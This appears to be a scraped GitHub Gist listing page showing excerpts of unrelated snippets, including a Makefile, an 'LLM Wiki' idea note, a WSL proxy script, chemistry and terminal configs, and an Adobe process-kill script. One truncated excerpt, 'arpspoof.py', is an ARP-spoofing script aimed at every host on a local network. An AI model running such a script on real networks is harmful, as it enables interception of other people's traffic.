Skip to content

Instantly share code, notes, and snippets.

ast.exe: ast.c
gcc -Werror -Wswitch -Wimplicit-fallthrough ast.c -o ast.exe
clean:
rm -f *.o *.exe *.s a.out
test.s: ast.exe
./ast.exe > test.s

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

@libChan
libChan / wsl_clash_proxy.sh
Last active May 14, 2026 13:13
WSL2使用clash for windows代理
# WSL通过Win访问网络,所以WSL的网关指向的是Windows,DNS服务器指向的也是Windows,设置WSL的proxy为win的代理ip+端口即可
# WSL中的DNS server在/etc/resolv.conf中查看,该文件是由/etc/wsl.conf自动生成的。
# 如果关闭了wsl.conf中自动生成resolve.conf并自行修改了resolve.conf,DNS nameserver并不是本机win ip
# 需要开启wsl.conf的自动生成,再运行以下命令
# https://zhuanlan.zhihu.com/p/153124468
# 添加到环境变量设置中,例如~/.zshrc
export hostip=$(cat /etc/resolv.conf |grep -oP '(?<=nameserver\ ).*')
export https_proxy="http://${hostip}:7890"
export http_proxy="http://${hostip}:7890"
@frknozr
frknozr / arpspoof.py
Created January 3, 2016 11:57
arp spoofing whole network
# -*- coding: cp1254 -*-
from multiprocessing import Pool
from math import sqrt, floor
import os
def proc(ip):
modem="192.168.1.1"
print ip + " spoofing"
com1="arpspoof -i eth0 -t "+ip+" "+modem+" > log1"
com2="arpspoof -i eth0 -t "+modem+" "+ip+" > log2"
@mretegan
mretegan / mep.py
Last active May 14, 2026 13:04
Create a .cube file of the molecular electrostatic potential using ORCA.
"""
(c) 2013, 2019, 2022 Marius Retegan
License: BSD-2-Clause
Description: Create a .cube file of the molecular electrostatic
potential (MEP) using ORCA.
Run: python mep.py basename npoints nprocs (e.g. python mep.py water 40 2).
Arguments: basename - file name without the extension;
this should be the same for the .gbw and .scfp.
npoints - number of grid points per side
(80 should be fine)
# ============================================
# Ghostty Terminal - Complete Configuration
# ============================================
# File: ~/.config/ghostty/config
# Reload: Cmd+Shift+, (macOS)
# View options: ghostty +show-config --default --docs
# --- Typography ---
font-family = "Maple Mono NF CN"
font-size = 14
@dominicstop
dominicstop / kill_adobe.command
Last active May 14, 2026 12:59
Force Kill/Terminate All Adobe-Related Process and Apps in MacOS
declare -a adobeProcessList=('AdobeCRDaemon' 'AdobeIPCBroker' 'com.adobe.acc.installer.v2' 'CCXProcess.app' 'CCLibrary.app' 'Adobe CEF Helper' 'Core Sync' 'Creative Cloud Helper' 'Adobe Desktop Service' 'Creative Cloud');
for processName in "${adobeProcessList[@]}"; do
pgrep -f "$(echo $processName)" > /dev/null;
if [ $? -ne 0 ]; then
echo "process not running, skipping: ${processName}";
continue;
fi;